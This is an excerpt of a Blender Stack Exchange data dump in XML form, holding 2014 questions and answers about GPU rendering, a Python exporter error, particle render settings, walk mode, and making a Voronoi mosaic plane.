  <row Id="5931" PostTypeId="2" ParentId="5228" CreationDate="2014-01-02T08:40:56.847" Score="9" Body="&lt;p&gt;I have 3 cards, 2 cards scaled with a factor of 2.0, now the 3rd card scaled something along 1.7-1.9 factor. So 2 cards make a huge difference in cycles. You will for sure cut the render times in half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All articles I've read suggest not using SLI for apps using CUDA/Compute. If you're on Windows you can via drivers enable it or disable it. It's currently not working under Linux AFAIK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So turn it ON when gaming, turn it OFF when rendering with Blender.&lt;/p&gt;&#xA;" OwnerUserId="755" LastActivityDate="2014-01-02T08:40:56.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5932" PostTypeId="1" CreationDate="2014-01-02T14:27:12.857" Score="3" ViewCount="4148" Body="&lt;p&gt;I'm trying to do an export plugin for Blender 2.69 to metasequoia file (.mqo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex is exported but i have some trouble with faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Multi-File_packages#Simple_obj_exporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; has a reference but it's for blender 2.5 so i think it's outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://image.noelshack.com/fichiers/2014/01/1388672156-blender-face.jpg&quot; alt=&quot;error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/50thomatoes50/blender.io_mqo/blob/master/io_scene_mqo/export_mqo.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2030" LastEditorUserId="15543" LastEditDate="2019-04-07T10:37:06.140" LastActivityDate="2019-04-07T10:37:06.140" Title="'Mesh' object has no attribute 'faces'" Tags="&lt;python&gt;&lt;export&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5933" PostTypeId="2" ParentId="5932" CreationDate="2014-01-02T14:53:41.373" Score="8" Body="&lt;p&gt;Faces are now accessible in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Mesh.html#bpy.types.Mesh.polygons&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Mesh.polygons&lt;/code&gt;&lt;/a&gt;. But seeing that your reference is so outdated, there may be other deprecated API usage in your script. So far, &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;noreferrer&quot;&gt;this link&lt;/a&gt; is always redirected to the latest Blender Python API manual, you may want to refer to it instead.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-01-02T14:53:41.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5934" PostTypeId="1" CreationDate="2014-01-02T17:30:32.767" Score="1" ViewCount="2980" Body="&lt;p&gt;I am using Blender 2.66a a nVidia GT 520 and Ubuntu 13.10. I wanted to enable GPU rendering. But in the System Panel there is no 'CUDA' Option.&lt;br&gt;&#xA; I know that this Card supports CUDA, because I have tested it on Windows 7 (dual- boot) too and it worked.&lt;br&gt;&#xA;I installed the proprietary GPU driver using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install nvidia-current&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any ideas why it doesnt work?&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;Thanks in the preface&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2032" LastActivityDate="2014-02-05T10:21:20.127" Title="Blender CUDA Rendering" Tags="&lt;gpu&gt;" AnswerCount="2" CommentCount="13" ClosedDate="2014-03-05T17:21:01.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="5935" PostTypeId="1" AcceptedAnswerId="5958" CreationDate="2014-01-02T20:02:54.207" Score="4" ViewCount="858" Body="&lt;p&gt;I'm mixing a music clip of my band in VSE. I've got three takes (1 hour each) of the same show, and I would like to mix them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of the length of the project, I would need a fast way to change the mix of  the three videos, preferably with autokey turned on, and editing while playing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any workflow or addon that help me in this task?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-01-03T02:16:35.657" Title="Best workflow to mix several takes in VSE" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5936" PostTypeId="1" CreationDate="2014-01-02T20:07:11.967" Score="1" ViewCount="167" Body="&lt;p&gt;i've been experimenting with the BGE and i'm a beginner programmer. I was wondering if their was a way to apply a texture to an object that could be read from an XML file, for the purpose of making a billboard with a changable display? if anyone could give me some help as where to start i'd appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="2034" LastActivityDate="2014-01-03T01:55:10.857" Title="using XML in the Blender Game Engine" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5937" PostTypeId="1" CreationDate="2014-01-02T21:55:59.877" Score="4" ViewCount="2756" Body="&lt;p&gt;This question is related to &lt;a href=&quot;https://blender.stackexchange.com/questions/989/physics-cross-simulation-interactions&quot;&gt;Physics cross-simulation interactions?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make an object float/interact with a fluid simulation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't have to be full two way interaction, but I want to know if it is at least possible to affect anything (particles, rigid bodies, etc.) with fluid.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-01-02T22:17:37.990" Title="Is it possible to float an object on a fluid simulation?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5938" PostTypeId="1" AcceptedAnswerId="5940" CreationDate="2014-01-02T22:00:36.870" Score="4" ViewCount="3930" Body="&lt;p&gt;for some reason, my person will not show up when rendered. I have checked the material and it is fine. Not sure what i did. Hoping that someone can figure it out for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a link to the .blend file: &lt;a href=&quot;https://drive.google.com/file/d/0B6xONZ2msgKHUWpIbTF6MkgzQ2c/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;person&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gKJBt.jpg&quot; alt=&quot;view port&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p33oR.jpg&quot; alt=&quot;rendered&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2036" LastEditorUserId="12" LastEditDate="2014-01-02T22:10:26.903" LastActivityDate="2014-01-02T22:14:27.610" Title="Object with a particle system doesn't show in render" Tags="&lt;rendering&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5939" PostTypeId="2" ParentId="5937" CreationDate="2014-01-02T22:01:30.593" Score="3" Body="&lt;p&gt;In short, no. But...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Fluid&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; part of the wiki talks a little about setting an object as an inlet, outlet, obstacle, or fluid control. There are also settings in the fluid sim that tries to imitate foam floating on the surface of the fluid, but there's not a way to make an object float, per se. Nor will the fluid sim interact with a rigid body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, it's possible to export a fluid sim to a mesh, in which case it will have the same attributes as any other mesh. Not quite interaction, but close.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-02T22:17:37.990" LastActivityDate="2014-01-02T22:17:37.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5940" PostTypeId="2" ParentId="5938" CreationDate="2014-01-02T22:06:23.550" Score="5" Body="&lt;p&gt;You're using the body as an emitter for the eyebrow particle system, and you've accidentally unchecked &lt;em&gt;Emitter&lt;/em&gt; in the Render panel of the Particle Settings. Re-check that box, and you should be good to go:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nMEp2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="599" LastEditDate="2014-01-02T22:14:27.610" LastActivityDate="2014-01-02T22:14:27.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5941" PostTypeId="1" AcceptedAnswerId="5942" CreationDate="2014-01-02T22:29:45.790" Score="4" ViewCount="932" Body="&lt;p&gt;I'm using Blender 2.69, and having tried the Fly Mode and finding it wasn't to my liking, I started looking to see if there was a preferable alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this:&#xA;&lt;a href=&quot;https://developer.blender.org/D30&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/D30&lt;/a&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View/Navigation_Modes&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View/Navigation_Modes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in my UI in blender, I don't see a &quot;view&quot; option at the top of the screen, nor under File &gt; User Preferences &gt; Input do I see anything allowing me to change the view navigation mode. In fact, searching in Input for &quot;view&quot;, &quot;navigation&quot;, &quot;fly&quot;, &quot;walk&quot;, and other searches only gave me hotkey bindings to enable/disable Fly Mode, and to change the key bindings for it, neither of which are what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's clear that the Walk Mode does exist, the question is: is this some kind of experimental new version of Blender I need to download/build manually? Is this an older feature that's long since been removed? or is my UI mis-configured, or is this a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen other people asking for a feature like this, and the answer they were always given is &quot;doesn't exist&quot;. If you can help me, I'd greatly appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="2037" LastEditorUserId="12" LastEditDate="2014-01-03T00:12:40.287" LastActivityDate="2014-01-03T00:12:40.287" Title="Walk Mode in 2.69?" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5942" PostTypeId="2" ParentId="5941" CreationDate="2014-01-02T22:33:21.393" Score="4" Body="&lt;p&gt;You need a version &lt;em&gt;newer&lt;/em&gt; than 2.69, try installing/building a development version. (see &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;this post&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a version of blender from after the &lt;a href=&quot;https://developer.blender.org/rBab494379586034a6844c858324815e3b1ff3cbb2&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit you linked to&lt;/a&gt; (Dec 2 2013), &lt;em&gt;Walk mode&lt;/em&gt; should be the default. Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt; to activate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the navigation mode settings in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Input &gt; View Navigation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3CHx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-01-02T22:46:28.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5943" PostTypeId="1" AcceptedAnswerId="5945" CreationDate="2014-01-02T22:40:04.957" Score="13" ViewCount="7069" Body="&lt;p&gt;I'd like to create a plane mesh which is divided to arbitrary-form polygon regions, like gimp/Photoshop mosaic filter makes, or like Voronoi diagram (although the latter is not really arbitrary). So I want each piece of that mosaic plane to be a single face, and it also would be great to assign a (random) height to each face, making a stair-step terrain from the plane. What I've tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) To generate a Voronoi diagram, paint each region in a grayscale value, and try to use it as a heightmap (import image as plane, then Displace with image texture). That was useless in terms of mosaic-faced plane fragmentation, of course, but I hoped that each diagram region will get its own height based on the color, so I'll get my stair-step terrain. That failed, it seems Displace doesn't work that way - it made a soft and smooth terrain, instead of sharp step-like breaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) To take a mosaic picture as a texture, and use the Knife tool to draw the actual mosaic polygons over it. It works that way, but requires a lot of work by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) To open a Python console and try to make a Voronoi diagram right in Blender. Then I realized that what my code does is painting each pixel into corresponding region's color, so it doesn't create any edges or faces at all. Maybe there's some other algorithm (I don't actually need Voronoi diagram; anything that looks like about the same is ok) which will allow me to end up with a set of faces?&lt;/p&gt;&#xA;" OwnerUserId="2033" LastEditorUserId="2217" LastEditDate="2015-06-02T00:12:42.020" LastActivityDate="2016-12-28T21:07:27.850" Title="How to make a mosaic plane" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5944" PostTypeId="2" ParentId="5943" CreationDate="2014-01-02T22:50:31.423" Score="1" Body="&lt;p&gt;Number one will still work, you just have to change (disable) the interpolation that Blender does with your image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1777/smooth-displaced-mesh&quot;&gt;This&lt;/a&gt; post is relevant to your interests. The accepted answer says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the texture's Image Sampling panel, make sure Interpolation is enabled, and increase the filter size (values between [1.5 ... 2.0] give quite smooth result, 3.0 and above are smooth but you loose definition).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...but you actually want the exact opposite: NON-smooth, UN-interpolated textures, so make sure it's disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2014-01-02T22:50:31.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5945" PostTypeId="2" ParentId="5943" CreationDate="2014-01-02T22:50:54.527" Score="21" Body="&lt;h1&gt;Modifiers:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;is&lt;/em&gt; possible with the displace modifier, and you can use a procedural texture for the voronoi diagram. This way you don't even need to paint in each part of the voronoi texture, because they will generated each slightly darker/lighter.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;subsurf modifier&lt;/em&gt;&lt;/a&gt; to increase the mesh density.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;displace modifier&lt;/em&gt;&lt;/a&gt; and add a new displace texture (click &lt;em&gt;New&lt;/em&gt; on the texture input of the displace modifier).&#xA;Set the &lt;em&gt;Type&lt;/em&gt; of the texture to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural/Voronoi&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Voronoi&lt;/em&gt;&lt;/a&gt; and the &lt;em&gt;Coloring&lt;/em&gt; to &lt;em&gt;Position&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSjlo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Decimate&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Decimate&lt;/em&gt; modifier&lt;/a&gt; set to &lt;em&gt;Planar&lt;/em&gt; to remove the unneeded geometry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7wVUM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7wVUM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is an &lt;a href=&quot;http://pasteall.org/blend/26015&quot; rel=&quot;noreferrer&quot;&gt;example blendfile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sort of smooth out the edges with a &lt;em&gt;Smooth modifier&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o4Hye.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4Hye.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cell fracture:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/5956/599&quot;&gt;Mike Pan's answer&lt;/a&gt;, here is a workflow using the &lt;em&gt;Cell fracture addon&lt;/em&gt;. This addon is bundled with blender, but you still need to enable it in &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User Preferences &gt; Addons&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/coMs6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/coMs6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once it is enabled, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane and subdivide it (&lt;em&gt;Edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) &gt; Select all (&lt;kbd&gt;A&lt;/kbd&gt;) &gt; &lt;kbd&gt;W&lt;/kbd&gt; &gt; Subdivide&lt;/em&gt;). The mesh density will affect the size of the resulting shards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PcD9s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all and extrude down so it is now a manifold mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/itvGf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the cube selected in object mode, press &lt;em&gt;Cell Fracture&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool shelf &gt; Object tools &gt; Cell fracture&lt;/em&gt; and set the &lt;em&gt;Margin&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt;. Changed settings are highlighted. Press &lt;em&gt;OK&lt;/em&gt; when ready:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/24nQ0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the original cube, then select all the shards (making sure that one of them is active) and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them into one object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GQ2bpm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode and remove double vertices by pressing &lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Select all &gt;&lt;/em&gt; &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove doubles&lt;/em&gt;. If needed increase the &lt;em&gt;Merge Distance&lt;/em&gt; in the &lt;em&gt;Tool Shelf &gt; Redo menu&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6wetq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still with everything selected, run &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Limited Dissolve&lt;/em&gt; in order to further simplify the mesh (note that &lt;em&gt;limited dissolve&lt;/em&gt; functions the same way as the &lt;em&gt;Decimate&lt;/em&gt; modifier in planar mode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FhNQK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the excess geometry. The easest way to select it is by going into front orthographic view (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;, &lt;kbd&gt;Numpad 5&lt;/kbd&gt;), the using &lt;em&gt;Box select&lt;/em&gt; to only select the very top vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/akwgP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try going into top (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;) ortho view with solid shading enabled, then box selecting everything visible. This works, however you may need to deselect some vertices on the sides after doing this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this is to enter front (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;) wire (&lt;kbd&gt;Z&lt;/kbd&gt;) ortho view and deselect using box select. (&lt;kbd&gt;B&lt;/kbd&gt; &gt; &lt;kbd&gt;MMB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Invert the selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;) and delete the selected vertices (&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; Vertices&lt;/em&gt;). This should result in a nice clean plane of ngons, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UJLc3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;) and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Individual Faces&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hoI4p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Without changing the selection, set the &lt;em&gt;Pivot Point&lt;/em&gt; to &lt;em&gt;Individual Origins&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt; (period), or set it in &lt;em&gt;3D view &gt; Header&lt;/em&gt;) and scale (&lt;kbd&gt;S&lt;/kbd&gt;) to taper the extrusions slightly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hy9uH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Invert the selection (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;) and hide those vertices (&lt;kbd&gt;H&lt;/kbd&gt;), so you are left with this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6bRcs.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch to face select mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;em&gt;&gt; Face&lt;/em&gt;) and select random (* 3D view &gt; Header &gt; Select*):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IdvQ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the randomly selected faces on the Z axis (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) arbitrarily, randomly select again, move again, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process can be made slightly faster by running &lt;em&gt;Select random&lt;/em&gt; from the &lt;em&gt;Operator History&lt;/em&gt; (&lt;kbd&gt;F3&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unhide the hidden geometry (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;). This should result in something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IoxHu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2428/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2428&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2016-12-28T21:07:27.850" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5946" PostTypeId="1" AcceptedAnswerId="5947" CreationDate="2014-01-02T22:51:29.810" Score="7" ViewCount="9985" Body="&lt;p&gt;Let's say I have a simple plane, and I want to add 4 faces to it but I'd like the subdivision to make triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UBCy9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Fsfd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2019" LastActivityDate="2014-07-16T23:39:22.853" Title="How do I subdivide a mesh into triangles?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5947" PostTypeId="2" ParentId="5946" CreationDate="2014-01-02T22:54:32.090" Score="10" Body="&lt;p&gt;Select the face and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Usability_tools#Modeling&quot; rel=&quot;noreferrer&quot;&gt;poke faces&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TakZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Usability_tools#Modeling&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Poke Face, This tool fan-fills each face around a central vertex (r55833).&lt;/p&gt;&#xA;&lt;p&gt;This can be useful as a way to triangulate ngons, or the depth value can be used to make spikes or depressions, Access from the face menu or AltP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-02T22:54:32.090" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
